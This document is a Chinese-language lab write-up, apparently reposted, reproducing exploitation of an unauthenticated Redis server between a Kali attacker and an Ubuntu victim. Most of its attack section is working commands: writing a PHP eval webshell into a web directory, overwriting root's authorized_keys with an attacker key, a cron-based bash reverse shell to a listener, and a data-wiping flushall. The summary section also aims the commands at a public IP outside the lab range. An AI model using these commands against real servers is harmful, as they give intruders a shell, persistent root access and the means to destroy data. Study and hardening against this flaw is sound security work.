redis未授權訪問漏洞復現


一. 應用介紹

Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、 Key-Value數據庫。和Memcached類似,它支持存儲的value 類型相對更多,包括 string(字符串)、list ( 鏈表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)。這些數據類型都支持push/pop 、 add/remove 及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上, redis支持各種不同方式的排序。與 memcached 一樣,為了保證效率,數據都是緩存在內存中。區別的是 redis 會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了 master-slave ( 主從)同步。

二. 漏洞介紹

Redis因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對Redis未授權訪問的一種新型攻擊方式,在特定條件下,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器,可導致服務器權限被獲取和數據刪除、泄露或加密勒索事件發生,嚴重危害業務正常服務。  部分服務器上的Redis 綁定在 0.0.0.0:6379,並且沒有開啟認證(這是Redis 的默認配置),以及該端口可以通過公網直接訪問,如果沒有采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,可能造成其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。目前比較主流的案例:yam2 minerd 挖礦程序,還有在多次應急事件中發現大量的watch-smartd挖礦木馬。

三. 測試環境說明

測試對象環境 對應IP
受害者(ubuntu 16.04) 192.168.5.135
攻擊者(kali) 192.168.5.125

Redis因配置不當可以未授權訪問,攻擊者無需認證訪問到內部數據,可導致敏感信息泄露
漏洞利用:核心就是進行寫文件操作
可以獲取敏感信息,操作數據庫,SSH遠程登錄,寫入webshell
建議用centos

四 .環境搭建

ubuntu16.04 安裝redis

sudo apt-get update
sudo apt-get install redis-server
![](https://img2018.cnblogs.com/blog/1884700/202001/1884700-20200123160404334-711095053.png)
查看redis是否啟動,啟動redis客戶端,此時已經啟動了,

```markup
redis-cli

啟動redis

redis-server

如果是用apt-get或者yum install安裝的redis,可以直接通過下面的命令停止/啟動/重啟redis

/etc/init.d/redis-server stop 
/etc/init.d/redis-server start 
/etc/init.d/redis-server restart

如果是通過源碼安裝的redis,則可以通過redis的客戶端程序redis-cli的shutdown命令來重啟redis

1.redis關閉

redis-cli -h 127.0.0.1 -p 6379 shutdown

2.redis啟動

redis-server

如果上述方式都沒有成功停止redis,則可以使用終極武器 kill -9

修改配置文件redis.conf

vim /etc/redis/redis.conf

正常配置時,需要將daemoize 設置為yes(守護進程)

區別
yes:當redis.conf中選項daemonize設置成yes時,代表開啟守護進程模式。在該模式下,redis會在后台運行,並將進程pid號寫入至redis.conf選項pidfile設置的文件中,此時redis將一直運行,除非手動kill該進程。
no:當前界面將進入redis的命令行界面,exit強制退出或者關閉連接工具(putty,xshell等)都會導致redis進程退出。

redis在開放往外網的情況下(默認配置是bind 127.0.0.1,只允許本地訪問,如果配置了其他網卡地址那么就可以網絡訪問),默認配置下是空口令,端口為6379。這里需要將它注釋掉。

版本較高的redis 還需要將 protected-mode設為no
redis3.2版本后新增protected-mode配置,默認是yes,即開啟。設置外部網絡連接redis服務,設置方式如下:
1、關閉protected-mode模式,此時外部網絡可以直接訪問
2、開啟protected-mode保護模式,需配置bind ip或者設置訪問密碼


此時我們的靶機環境已經搭建完畢,測試(默認無密碼)

五 .攻擊利用

Redis默認使用6379端口,使用nmap對服務器進行掃描

Nmap -A -p 6379 –script redis-info 192.168.5.135


kali安裝redis
下載

wget http://download.redis.io/releases/redis-5.0.7.tar.gz

解壓

tar xzf redis-5.0.7.tar.gz

會在當前目錄下生成文件夾 redis-5.0.4

cd redis-5.0.7
make

編譯完成,進入下級目錄src,啟動redis客戶端 遠程連接靶機(默認無密碼)

cd /src
./redis-cli -h 192.168.5.135



!!!此時已經未授權訪問到靶機的redis 通過 info 查看信息

redis數據庫的一些基本操作

info  #查看redis的信息和服務器信息
flushall 刪除所有數據
del key  刪除鍵為key的數據
get key  獲得參數key的數據

寫入一句話木馬
寫入一句話木馬需要我們知道網站的根目錄相對於服務器的絕對路徑。靶機在 /var/www/html/dedecms/uploads 這個目錄下。
執行下列命令

redis-cli -h 192.168.5.135
set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir  /var/www/html/dedecms/uploads
config set dbfilename webshell.php
save

由於我的靶機上沒網站,所以這里就貼個別人的圖片記錄一下

然后用菜刀連接

可以看到,已經連接成功了!

1.寫入ssh公鑰,獲取操作系統權限
將hacker的公鑰 追加 寫入 redis服務器的 /root/.ssh 文件夾下的authotrized_keys文件中,即hacker主機 直接登錄 該服務器。
"公鑰登錄" 原理很簡單,就是用戶將自己的公鑰儲存在遠程主機上。
登錄的時候,遠程主機會向用戶發送一段隨機字符串,用戶用自己的私鑰加密后,再發回來。遠程主機用事先儲存的公鑰進行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。
這種方法要求用戶必須提供自己的公鑰。如果沒有現成的,可以直接用ssh-keygen生成一個:
首先在自己的電腦上生成key:

ssk-keygen



將公鑰導入key.txt文件(前后用\n換行,避免和Redis里其他緩存數據混合),再把key.txt文件內容寫入目標主機的緩沖里:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
 config set dir /root/.ssh/  

這里設置目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因為root從來沒有登錄過,在被攻擊機執行ssh localhost 即可
(error) ERR Changing directory: Permission denied
說明redis並不是以root啟動的

六.總結

利用redis-cli 連接 該服務器
redis-cli -h 173.239.46.188
#  刪除所有數據庫以及key!!((保證寫入的數據不摻雜其他數據)慎用 !!
flushall
# 把公鑰文件gy (通過redis自身方法)  寫入 服務器的內存  返回OK
cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit
# 利用redis查看當前目錄
192.168.5.135> config get dir
1) "dir"
2) "/var/spool/cron"
# 進入目錄 設置保存路徑  /Users/用戶名/.ssh  可能OK 也可能非root用戶權限不足(error) ERR Changing directory: Permission denied
192.168.5.135:6379> config set dir /root/.ssh/
# 設置數據庫名
192.168.5.135:6379> config set dbfilename "authorized_keys"
OK
# 保存數據庫的內容到/root/.ssh/authorized_keys 會覆蓋之前的!!  會導致之前設置的所有ssh免登錄失效!!!
192.168.5.135:6379> save
OK
#-------------------------------------------------
# 通過自己本機的私鑰登陸服務器
ssh -i  id_rsa root@192.168.5.135

2.centos定時反彈shell,(ubuntu可能不行)
我們可以將 linux 反彈 shell 的命令寫入定時任務中,這樣,我們就可以接收到redis服務器反彈過來的shell了

redis-cli -h 192.168.1.8
set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" #意思是每隔一分鍾,向192.168.1.4的4444端口反彈shell
config set dir /var/spool/cron  #設置工作目錄
(error) ERR Changing directory: Permission denied
查看/var/spool/cron 目錄權限為700,且為root創建
即使該普通用戶具有sudo權限也不行

config  set dbfilename "root" #設置文件名,當前用戶叫啥就得命名為啥,當前用戶為root
save

#上面這幾行命令的意思就是將 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\n\n" 這條命令寫入test文件中,並且存放在/var/spool/cron目錄下


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM